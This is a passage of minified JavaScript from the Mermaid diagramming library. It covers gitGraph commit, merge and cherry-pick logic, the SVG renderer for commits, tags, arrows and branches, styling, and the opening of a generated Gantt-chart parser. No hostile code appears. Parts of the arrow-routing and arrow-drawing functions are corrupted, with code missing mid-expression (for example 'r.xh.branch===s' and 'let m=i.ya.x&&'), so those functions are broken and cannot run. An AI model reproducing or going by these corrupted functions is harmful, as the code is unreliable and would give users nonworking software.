no commits`);throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["commit"]},p}if(!Dt.records.branches.has(e)){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") does not exist");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:[`branch ${e}`]},p}if(h===void 0||!h){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") has no commits");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:['"commit"']},p}if(u===h){let p=new Error('Incorrect usage of "merge". Both branches have same head');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(r&&Dt.records.commits.has(r)){let p=new Error('Incorrect usage of "merge". Commit with id:'+r+" already exists, use different custom id");throw p.hash={text:`merge ${e} ${r} ${n} ${i?.join(" ")}`,token:`merge ${e} ${r} ${n} ${i?.join(" ")}`,expected:[`merge ${e} ${r}_UNIQUE ${n} ${i?.join(" ")}`]},p}let f=l||"",d={id:r||`${Dt.records.seq}-${dF()}`,message:`merged branch ${e} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,f],branch:Dt.records.currBranch,type:rn.MERGE,customType:n,customId:!!r,tags:i??[]};Dt.records.head=d,Dt.records.commits.set(d.id,d),Dt.records.branches.set(Dt.records.currBranch,d.id),X.debug(Dt.records.branches),X.debug("in mergeBranch")},"merge"),sKe=o(function(t){let e=t.id,r=t.targetId,n=t.tags,i=t.parent;X.debug("Entering cherryPick:",e,r,n);let a=n0();if(e=tt.sanitizeText(e,a),r=tt.sanitizeText(r,a),n=n?.map(u=>tt.sanitizeText(u,a)),i=tt.sanitizeText(i,a),!e||!Dt.records.commits.has(e)){let u=new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');throw u.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},u}let s=Dt.records.commits.get(e);if(s===void 0||!s)throw new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');if(i&&!(Array.isArray(s.parents)&&s.parents.includes(i)))throw new Error("Invalid operation: The specified parent commit is not an immediate parent of the cherry-picked commit.");let l=s.branch;if(s.type===rn.MERGE&&!i)throw new Error("Incorrect usage of cherry-pick: If the source commit is a merge commit, an immediate parent commit must be specified.");if(!r||!Dt.records.commits.has(r)){if(l===Dt.records.currBranch){let d=new Error('Incorrect usage of "cherryPick". Source commit is already on current branch');throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let u=Dt.records.branches.get(Dt.records.currBranch);if(u===void 0||!u){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let h=Dt.records.commits.get(u);if(h===void 0||!h){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let f={id:Dt.records.seq+"-"+dF(),message:`cherry-picked ${s?.message} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,s.id],branch:Dt.records.currBranch,type:rn.CHERRY_PICK,tags:n?n.filter(Boolean):[`cherry-pick:${s.id}${s.type===rn.MERGE?`|parent:${i}`:""}`]};Dt.records.head=f,Dt.records.commits.set(f.id,f),Dt.records.branches.set(Dt.records.currBranch,f.id),X.debug(Dt.records.branches),X.debug("in cherryPick")}},"cherryPick"),wge=o(function(t){if(t=tt.sanitizeText(t,n0()),Dt.records.branches.has(t)){Dt.records.currBranch=t;let e=Dt.records.branches.get(Dt.records.currBranch);e===void 0||!e?Dt.records.head=null:Dt.records.head=Dt.records.commits.get(e)??null}else{let e=new Error(`Trying to checkout branch which is not yet created. (Help try using "branch ${t}")`);throw e.hash={text:`checkout ${t}`,token:`checkout ${t}`,expected:[`branch ${t}`]},e}},"checkout");o(Tge,"upsert");o(kge,"prettyPrintCommitHistory");oKe=o(function(){X.debug(Dt.records.commits);let t=Ege()[0];kge([t])},"prettyPrint"),lKe=o(function(){Dt.reset(),Sr()},"clear"),cKe=o(function(){return[...Dt.records.branchConfig.values()].map((e,r)=>e.order!==null&&e.order!==void 0?e:{...e,order:parseFloat(`0.${r}`)}).sort((e,r)=>(e.order??0)-(r.order??0)).map(({name:e})=>({name:e}))},"getBranchesAsObjArray"),uKe=o(function(){return Dt.records.branches},"getBranches"),hKe=o(function(){return Dt.records.commits},"getCommits"),Ege=o(function(){let t=[...Dt.records.commits.values()];return t.forEach(function(e){X.debug(e.id)}),t.sort((e,r)=>e.seq-r.seq),t},"getCommitsArray"),fKe=o(function(){return Dt.records.currBranch},"getCurrentBranch"),dKe=o(function(){return Dt.records.direction},"getDirection"),pKe=o(function(){return Dt.records.head},"getHead"),N6={commitType:rn,getConfig:n0,setDirection:eKe,setOptions:tKe,getOptions:rKe,commit:nKe,branch:iKe,merge:aKe,cherryPick:sKe,checkout:wge,prettyPrint:oKe,clear:lKe,getBranchesAsObjArray:cKe,getBranches:uKe,getCommits:hKe,getCommitsArray:Ege,getCurrentBranch:fKe,getDirection:dKe,getHead:pKe,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,setDiagramTitle:$r,getDiagramTitle:Pr}});var mKe,gKe,yKe,vKe,xKe,bKe,TKe,Sge,Cge=N(()=>{"use strict";Uf();pt();r0();pF();R6();mKe=o((t,e)=>{nl(t,e),t.dir&&e.setDirection(t.dir);for(let r of t.statements)gKe(r,e)},"populate"),gKe=o((t,e)=>{let n={Commit:o(i=>e.commit(yKe(i)),"Commit"),Branch:o(i=>e.branch(vKe(i)),"Branch"),Merge:o(i=>e.merge(xKe(i)),"Merge"),Checkout:o(i=>e.checkout(bKe(i)),"Checkout"),CherryPicking:o(i=>e.cherryPick(TKe(i)),"CherryPicking")}[t.$type];n?n(t):X.error(`Unknown statement type: ${t.$type}`)},"parseStatement"),yKe=o(t=>({id:t.id,msg:t.message??"",type:t.type!==void 0?rn[t.type]:rn.NORMAL,tags:t.tags??void 0}),"parseCommit"),vKe=o(t=>({name:t.name,order:t.order??0}),"parseBranch"),xKe=o(t=>({branch:t.branch,id:t.id??"",type:t.type!==void 0?rn[t.type]:void 0,tags:t.tags??void 0}),"parseMerge"),bKe=o(t=>t.branch,"parseCheckout"),TKe=o(t=>({id:t.id,targetId:"",tags:t.tags?.length===0?void 0:t.tags,parent:t.parent}),"parseCherryPicking"),Sge={parse:o(async t=>{let e=await bs("gitGraph",t);X.debug(e),mKe(e,N6)},"parse")}});var wKe,il,qf,Wf,Jc,ih,i0,Ks,Qs,M6,h4,I6,Hf,Vr,kKe,_ge,Dge,EKe,SKe,CKe,AKe,_Ke,DKe,LKe,RKe,NKe,MKe,IKe,OKe,Age,PKe,f4,BKe,FKe,$Ke,zKe,GKe,Lge,Rge=N(()=>{"use strict";yr();Xt();pt();tr();R6();wKe=ge(),il=wKe?.gitGraph,qf=10,Wf=40,Jc=4,ih=2,i0=8,Ks=new Map,Qs=new Map,M6=30,h4=new Map,I6=[],Hf=0,Vr="LR",kKe=o(()=>{Ks.clear(),Qs.clear(),h4.clear(),Hf=0,I6=[],Vr="LR"},"clear"),_ge=o(t=>{let e=document.createElementNS("http://www.w3.org/2000/svg","text");return(typeof t=="string"?t.split(/\\n|\n|/gi):t).forEach(n=>{let i=document.createElementNS("http://www.w3.org/2000/svg","tspan");i.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),i.setAttribute("dy","1em"),i.setAttribute("x","0"),i.setAttribute("class","row"),i.textContent=n.trim(),e.appendChild(i)}),e},"drawText"),Dge=o(t=>{let e,r,n;return Vr==="BT"?(r=o((i,a)=>i<=a,"comparisonFunc"),n=1/0):(r=o((i,a)=>i>=a,"comparisonFunc"),n=0),t.forEach(i=>{let a=Vr==="TB"||Vr=="BT"?Qs.get(i)?.y:Qs.get(i)?.x;a!==void 0&&r(a,n)&&(e=i,n=a)}),e},"findClosestParent"),EKe=o(t=>{let e="",r=1/0;return t.forEach(n=>{let i=Qs.get(n).y;i<=r&&(e=n,r=i)}),e||void 0},"findClosestParentBT"),SKe=o((t,e,r)=>{let n=r,i=r,a=[];t.forEach(s=>{let l=e.get(s);if(!l)throw new Error(`Commit not found for key ${s}`);l.parents.length?(n=AKe(l),i=Math.max(n,i)):a.push(l),_Ke(l,n)}),n=i,a.forEach(s=>{DKe(s,n,r)}),t.forEach(s=>{let l=e.get(s);if(l?.parents.length){let u=EKe(l.parents);n=Qs.get(u).y-Wf,n<=i&&(i=n);let h=Ks.get(l.branch).pos,f=n-qf;Qs.set(l.id,{x:h,y:f})}})},"setParallelBTPos"),CKe=o(t=>{let e=Dge(t.parents.filter(n=>n!==null));if(!e)throw new Error(`Closest parent not found for commit ${t.id}`);let r=Qs.get(e)?.y;if(r===void 0)throw new Error(`Closest parent position not found for commit ${t.id}`);return r},"findClosestParentPos"),AKe=o(t=>CKe(t)+Wf,"calculateCommitPosition"),_Ke=o((t,e)=>{let r=Ks.get(t.branch);if(!r)throw new Error(`Branch not found for commit ${t.id}`);let n=r.pos,i=e+qf;return Qs.set(t.id,{x:n,y:i}),{x:n,y:i}},"setCommitPosition"),DKe=o((t,e,r)=>{let n=Ks.get(t.branch);if(!n)throw new Error(`Branch not found for commit ${t.id}`);let i=e+r,a=n.pos;Qs.set(t.id,{x:a,y:i})},"setRootPosition"),LKe=o((t,e,r,n,i,a)=>{if(a===rn.HIGHLIGHT)t.append("rect").attr("x",r.x-10).attr("y",r.y-10).attr("width",20).attr("height",20).attr("class",`commit ${e.id} commit-highlight${i%i0} ${n}-outer`),t.append("rect").attr("x",r.x-6).attr("y",r.y-6).attr("width",12).attr("height",12).attr("class",`commit ${e.id} commit${i%i0} ${n}-inner`);else if(a===rn.CHERRY_PICK)t.append("circle").attr("cx",r.x).attr("cy",r.y).attr("r",10).attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x-3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x+3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x+3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x-3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`);else{let s=t.append("circle");if(s.attr("cx",r.x),s.attr("cy",r.y),s.attr("r",e.type===rn.MERGE?9:10),s.attr("class",`commit ${e.id} commit${i%i0}`),a===rn.MERGE){let l=t.append("circle");l.attr("cx",r.x),l.attr("cy",r.y),l.attr("r",6),l.attr("class",`commit ${n} ${e.id} commit${i%i0}`)}a===rn.REVERSE&&t.append("path").attr("d",`M ${r.x-5},${r.y-5}L${r.x+5},${r.y+5}M${r.x-5},${r.y+5}L${r.x+5},${r.y-5}`).attr("class",`commit ${n} ${e.id} commit${i%i0}`)}},"drawCommitBullet"),RKe=o((t,e,r,n)=>{if(e.type!==rn.CHERRY_PICK&&(e.customId&&e.type===rn.MERGE||e.type!==rn.MERGE)&&il?.showCommitLabel){let i=t.append("g"),a=i.insert("rect").attr("class","commit-label-bkg"),s=i.append("text").attr("x",n).attr("y",r.y+25).attr("class","commit-label").text(e.id),l=s.node()?.getBBox();if(l&&(a.attr("x",r.posWithOffset-l.width/2-ih).attr("y",r.y+13.5).attr("width",l.width+2*ih).attr("height",l.height+2*ih),Vr==="TB"||Vr==="BT"?(a.attr("x",r.x-(l.width+4*Jc+5)).attr("y",r.y-12),s.attr("x",r.x-(l.width+4*Jc)).attr("y",r.y+l.height-12)):s.attr("x",r.posWithOffset-l.width/2),il.rotateCommitLabel))if(Vr==="TB"||Vr==="BT")s.attr("transform","rotate(-45, "+r.x+", "+r.y+")"),a.attr("transform","rotate(-45, "+r.x+", "+r.y+")");else{let u=-7.5-(l.width+10)/25*9.5,h=10+l.width/25*8.5;i.attr("transform","translate("+u+", "+h+") rotate(-45, "+n+", "+r.y+")")}}},"drawCommitLabel"),NKe=o((t,e,r,n)=>{if(e.tags.length>0){let i=0,a=0,s=0,l=[];for(let u of e.tags.reverse()){let h=t.insert("polygon"),f=t.append("circle"),d=t.append("text").attr("y",r.y-16-i).attr("class","tag-label").text(u),p=d.node()?.getBBox();if(!p)throw new Error("Tag bbox not found");a=Math.max(a,p.width),s=Math.max(s,p.height),d.attr("x",r.posWithOffset-p.width/2),l.push({tag:d,hole:f,rect:h,yOffset:i}),i+=20}for(let{tag:u,hole:h,rect:f,yOffset:d}of l){let p=s/2,m=r.y-19.2-d;if(f.attr("class","tag-label-bkg").attr("points",` + ${n-a/2-Jc/2},${m+ih} + ${n-a/2-Jc/2},${m-ih} + ${r.posWithOffset-a/2-Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m+p+ih} + ${r.posWithOffset-a/2-Jc},${m+p+ih}`),h.attr("cy",m).attr("cx",n-a/2+Jc/2).attr("r",1.5).attr("class","tag-hole"),Vr==="TB"||Vr==="BT"){let g=n+d;f.attr("class","tag-label-bkg").attr("points",` + ${r.x},${g+2} + ${r.x},${g-2} + ${r.x+qf},${g-p-2} + ${r.x+qf+a+4},${g-p-2} + ${r.x+qf+a+4},${g+p+2} + ${r.x+qf},${g+p+2}`).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),h.attr("cx",r.x+Jc/2).attr("cy",g).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),u.attr("x",r.x+5).attr("y",g+3).attr("transform","translate(14,14) rotate(45, "+r.x+","+n+")")}}}},"drawCommitTags"),MKe=o(t=>{switch(t.customType??t.type){case rn.NORMAL:return"commit-normal";case rn.REVERSE:return"commit-reverse";case rn.HIGHLIGHT:return"commit-highlight";case rn.MERGE:return"commit-merge";case rn.CHERRY_PICK:return"commit-cherry-pick";default:return"commit-normal"}},"getCommitClassType"),IKe=o((t,e,r,n)=>{let i={x:0,y:0};if(t.parents.length>0){let a=Dge(t.parents);if(a){let s=n.get(a)??i;return e==="TB"?s.y+Wf:e==="BT"?(n.get(t.id)??i).y-Wf:s.x+Wf}}else return e==="TB"?M6:e==="BT"?(n.get(t.id)??i).y-Wf:0;return 0},"calculatePosition"),OKe=o((t,e,r)=>{let n=Vr==="BT"&&r?e:e+qf,i=Vr==="TB"||Vr==="BT"?n:Ks.get(t.branch)?.pos,a=Vr==="TB"||Vr==="BT"?Ks.get(t.branch)?.pos:n;if(a===void 0||i===void 0)throw new Error(`Position were undefined for commit ${t.id}`);return{x:a,y:i,posWithOffset:n}},"getCommitPosition"),Age=o((t,e,r)=>{if(!il)throw new Error("GitGraph config not found");let n=t.append("g").attr("class","commit-bullets"),i=t.append("g").attr("class","commit-labels"),a=Vr==="TB"||Vr==="BT"?M6:0,s=[...e.keys()],l=il?.parallelCommits??!1,u=o((f,d)=>{let p=e.get(f)?.seq,m=e.get(d)?.seq;return p!==void 0&&m!==void 0?p-m:0},"sortKeys"),h=s.sort(u);Vr==="BT"&&(l&&SKe(h,e,a),h=h.reverse()),h.forEach(f=>{let d=e.get(f);if(!d)throw new Error(`Commit not found for key ${f}`);l&&(a=IKe(d,Vr,a,Qs));let p=OKe(d,a,l);if(r){let m=MKe(d),g=d.customType??d.type,y=Ks.get(d.branch)?.index??0;LKe(n,d,p,m,y,g),RKe(i,d,p,a),NKe(i,d,p,a)}Vr==="TB"||Vr==="BT"?Qs.set(d.id,{x:p.x,y:p.posWithOffset}):Qs.set(d.id,{x:p.posWithOffset,y:p.y}),a=Vr==="BT"&&l?a+Wf:a+Wf+qf,a>Hf&&(Hf=a)})},"drawCommits"),PKe=o((t,e,r,n,i)=>{let s=(Vr==="TB"||Vr==="BT"?r.xh.branch===s,"isOnBranchToGetCurve"),u=o(h=>h.seq>t.seq&&h.sequ(h)&&l(h))},"shouldRerouteArrow"),f4=o((t,e,r=0)=>{let n=t+Math.abs(t-e)/2;if(r>5)return n;if(I6.every(s=>Math.abs(s-n)>=10))return I6.push(n),n;let a=Math.abs(t-e);return f4(t,e-a/5,r+1)},"findLane"),BKe=o((t,e,r,n)=>{let i=Qs.get(e.id),a=Qs.get(r.id);if(i===void 0||a===void 0)throw new Error(`Commit positions not found for commits ${e.id} and ${r.id}`);let s=PKe(e,r,i,a,n),l="",u="",h=0,f=0,d=Ks.get(r.branch)?.index;r.type===rn.MERGE&&e.id!==r.parents[0]&&(d=Ks.get(e.branch)?.index);let p;if(s){l="A 10 10, 0, 0, 0,",u="A 10 10, 0, 0, 1,",h=10,f=10;let m=i.ya.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y-h} ${u} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x+h} ${i.y} ${l} ${a.x} ${i.y+f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):Vr==="BT"?(i.xa.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${l} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):(i.ya.y&&(r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${u} ${i.x+f} ${a.y} L ${a.x} ${a.y}`),i.y===a.y&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`));if(p===void 0)throw new Error("Line definition not found");t.append("path").attr("d",p).attr("class","arrow arrow"+d%i0)},"drawArrow"),FKe=o((t,e)=>{let r=t.append("g").attr("class","commit-arrows");[...e.keys()].forEach(n=>{let i=e.get(n);i.parents&&i.parents.length>0&&i.parents.forEach(a=>{BKe(r,e.get(a),i,e)})})},"drawArrows"),$Ke=o((t,e)=>{let r=t.append("g");e.forEach((n,i)=>{let a=i%i0,s=Ks.get(n.name)?.pos;if(s===void 0)throw new Error(`Position not found for branch ${n.name}`);let l=r.append("line");l.attr("x1",0),l.attr("y1",s),l.attr("x2",Hf),l.attr("y2",s),l.attr("class","branch branch"+a),Vr==="TB"?(l.attr("y1",M6),l.attr("x1",s),l.attr("y2",Hf),l.attr("x2",s)):Vr==="BT"&&(l.attr("y1",Hf),l.attr("x1",s),l.attr("y2",M6),l.attr("x2",s)),I6.push(s);let u=n.name,h=_ge(u),f=r.insert("rect"),p=r.insert("g").attr("class","branchLabel").insert("g").attr("class","label branch-label"+a);p.node().appendChild(h);let m=h.getBBox();f.attr("class","branchLabelBkg label"+a).attr("rx",4).attr("ry",4).attr("x",-m.width-4-(il?.rotateCommitLabel===!0?30:0)).attr("y",-m.height/2+8).attr("width",m.width+18).attr("height",m.height+4),p.attr("transform","translate("+(-m.width-14-(il?.rotateCommitLabel===!0?30:0))+", "+(s-m.height/2-1)+")"),Vr==="TB"?(f.attr("x",s-m.width/2-10).attr("y",0),p.attr("transform","translate("+(s-m.width/2-5)+", 0)")):Vr==="BT"?(f.attr("x",s-m.width/2-10).attr("y",Hf),p.attr("transform","translate("+(s-m.width/2-5)+", "+Hf+")")):f.attr("transform","translate(-19, "+(s-m.height/2)+")")})},"drawBranches"),zKe=o(function(t,e,r,n,i){return Ks.set(t,{pos:e,index:r}),e+=50+(i?40:0)+(Vr==="TB"||Vr==="BT"?n.width/2:0),e},"setBranchPosition"),GKe=o(function(t,e,r,n){if(kKe(),X.debug("in gitgraph renderer",t+` +`,"id:",e,r),!il)throw new Error("GitGraph config not found");let i=il.rotateCommitLabel??!1,a=n.db;h4=a.getCommits();let s=a.getBranchesAsObjArray();Vr=a.getDirection();let l=qe(`[id="${e}"]`),u=0;s.forEach((h,f)=>{let d=_ge(h.name),p=l.append("g"),m=p.insert("g").attr("class","branchLabel"),g=m.insert("g").attr("class","label branch-label");g.node()?.appendChild(d);let y=d.getBBox();u=zKe(h.name,u,f,y,i),g.remove(),m.remove(),p.remove()}),Age(l,h4,!1),il.showBranches&&$Ke(l,s),FKe(l,h4),Age(l,h4,!0),qt.insertTitle(l,"gitTitleText",il.titleTopMargin??0,a.getDiagramTitle()),FA(void 0,l,il.diagramPadding,il.useMaxWidth)},"draw"),Lge={draw:GKe}});var VKe,Nge,Mge=N(()=>{"use strict";VKe=o(t=>` + .commit-id, + .commit-msg, + .branch-label { + fill: lightgrey; + color: lightgrey; + font-family: 'trebuchet ms', verdana, arial, sans-serif; + font-family: var(--mermaid-font-family); + } + ${[0,1,2,3,4,5,6,7].map(e=>` + .branch-label${e} { fill: ${t["gitBranchLabel"+e]}; } + .commit${e} { stroke: ${t["git"+e]}; fill: ${t["git"+e]}; } + .commit-highlight${e} { stroke: ${t["gitInv"+e]}; fill: ${t["gitInv"+e]}; } + .label${e} { fill: ${t["git"+e]}; } + .arrow${e} { stroke: ${t["git"+e]}; } + `).join(` +`)} + + .branch { + stroke-width: 1; + stroke: ${t.lineColor}; + stroke-dasharray: 2; + } + .commit-label { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelColor};} + .commit-label-bkg { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelBackground}; opacity: 0.5; } + .tag-label { font-size: ${t.tagLabelFontSize}; fill: ${t.tagLabelColor};} + .tag-label-bkg { fill: ${t.tagLabelBackground}; stroke: ${t.tagLabelBorder}; } + .tag-hole { fill: ${t.textColor}; } + + .commit-merge { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + .commit-reverse { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + stroke-width: 3; + } + .commit-highlight-outer { + } + .commit-highlight-inner { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + + .arrow { stroke-width: 8; stroke-linecap: round; fill: none} + .gitTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } +`,"getStyles"),Nge=VKe});var Ige={};dr(Ige,{diagram:()=>UKe});var UKe,Oge=N(()=>{"use strict";Cge();pF();Rge();Mge();UKe={parser:Sge,db:N6,renderer:Lge,styles:Nge}});var mF,Fge,$ge=N(()=>{"use strict";mF=(function(){var t=o(function(D,_,O,M){for(O=O||{},M=D.length;M--;O[D[M]]=_);return O},"o"),e=[6,8,10,12,13,14,15,16,17,18,20,21,22,23,24,25,26,27,28,29,30,31,33,35,36,38,40],r=[1,26],n=[1,27],i=[1,28],a=[1,29],s=[1,30],l=[1,31],u=[1,32],h=[1,33],f=[1,34],d=[1,9],p=[1,10],m=[1,11],g=[1,12],y=[1,13],v=[1,14],x=[1,15],b=[1,16],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,23],C=[1,25],R=[1,35],I={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,gantt:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NL:10,weekday:11,weekday_monday:12,weekday_tuesday:13,weekday_wednesday:14,weekday_thursday:15,weekday_friday:16,weekday_saturday:17,weekday_sunday:18,weekend:19,weekend_friday:20,weekend_saturday:21,dateFormat:22,inclusiveEndDates:23,topAxis:24,axisFormat:25,tickInterval:26,excludes:27,includes:28,todayMarker:29,title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,section:36,clickStatement:37,taskTxt:38,taskData:39,click:40,callbackname:41,callbackargs:42,href:43,clickStatementDebug:44,$accept:0,$end:1},terminals_:{2:"error",4:"gantt",6:"EOF",8:"SPACE",10:"NL",12:"weekday_monday",13:"weekday_tuesday",14:"weekday_wednesday",15:"weekday_thursday",16:"weekday_friday",17:"weekday_saturday",18:"weekday_sunday",20:"weekend_friday",21:"weekend_saturday",22:"dateFormat",23:"inclusiveEndDates",24:"topAxis",25:"axisFormat",26:"tickInterval",27:"excludes",28:"includes",29:"todayMarker",30:"title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"section",38:"taskTxt",39:"taskData",40:"click",41:"callbackname",42:"callbackargs",43:"href"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[19,1],[19,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,2],[37,2],[37,3],[37,3],[37,4],[37,3],[37,4],[37,2],[44,2],[44,3],[44,3],[44,4],[44,3],[44,4],[44,2]],performAction:o(function(_,O,M,P,B,F,G){var $=F.length-1;switch(B){case 1:return F[$-1];case 2:this.$=[];break;case 3:F[$-1].push(F[$]),this.$=F[$-1];break;case 4:case 5:this.$=F[$];break;case 6:case 7:this.$=[];break;case 8:P.setWeekday("monday");break;case 9:P.setWeekday("tuesday");break;case 10:P.setWeekday("wednesday");break;case 11:P.setWeekday("thursday");break;case 12:P.setWeekday("friday");break;case 13:P.setWeekday("saturday");break;case 14:P.setWeekday("sunday");break;case 15:P.setWeekend("friday");break;case 16:P.setWeekend("saturday");break;case 17:P.setDateFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 18:P.enableInclusiveEndDates(),this.$=F[$].substr(18);break;case 19:P.TopAxis(),this.$=F[$].substr(8);break;case 20:P.setAxisFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 21:P.setTickInterval(F[$].substr(13)),this.$=F[$].substr(13);break;case 22:P.setExcludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 23:P.setIncludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 24:P.setTodayMarker(F[$].substr(12)),this.$=F[$].substr(12);break;case 27:P.setDiagramTitle(F[$].substr(6)),this.$=F[$].substr(6);break;case 28:this.$=F[$].trim(),P.setAccTitle(this.$);break;case 29:case 30:this.$=F[$].trim(),P.setAccDescription(this.$);break;case 31:P.addSection(F[$].substr(8)),this.$=F[$].substr(8);break;case 33:P.addTask(F[$-1],F[$]),this.$="task";break;case 34:this.$=F[$-1],P.setClickEvent(F[$-1],F[$],null);break;case 35:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],F[$]);break;case 36:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],null),P.setLink(F[$-2],F[$]);break;case 37:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-2],F[$-1]),P.setLink(F[$-3],F[$]);break;case 38:this.$=F[$-2],P.setClickEvent(F[$-2],F[$],null),P.setLink(F[$-2],F[$-1]);break;case 39:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-1],F[$]),P.setLink(F[$-3],F[$-2]);break;case 40:this.$=F[$-1],P.setLink(F[$-1],F[$]);break;case 41:case 47:this.$=F[$-1]+" "+F[$];break;case 42:case 43:case 45:this.$=F[$-2]+" "+F[$-1]+" "+F[$];break;case 44:case 46:this.$=F[$-3]+" "+F[$-2]+" "+F[$-1]+" "+F[$];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:36,11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,5]),t(e,[2,6]),t(e,[2,17]),t(e,[2,18]),t(e,[2,19]),t(e,[2,20]),t(e,[2,21]),t(e,[2,22]),t(e,[2,23]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),t(e,[2,27]),{32:[1,37]},{34:[1,38]},t(e,[2,30]),t(e,[2,31]),t(e,[2,32]),{39:[1,39]},t(e,[2,8]),t(e,[2,9]),t(e,[2,10]),t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),{41:[1,40],43:[1,41]},t(e,[2,4]),t(e,[2,28]),t(e,[2,29]),t(e,[2,33]),t(e,[2,34],{42:[1,42],43:[1,43]}),t(e,[2,40],{41:[1,44]}),t(e,[2,35],{43:[1,45]}),t(e,[2,36]),t(e,[2,38],{42:[1,46]}),t(e,[2,37]),t(e,[2,39])],defaultActions:{},parseError:o(function(_,O){if(O.recoverable)this.trace(_);else{var M=new Error(_);throw M.hash=O,M}},"parseError"),parse:o(function(_){var O=this,M=[0],P=[],B=[null],F=[],G=this.table,$="",U=0,j=0,te=0,Y=2,oe=1,J=F.slice.call(arguments,1),ue=Object.create(this.lexer),re={yy:{}};for(var ee in 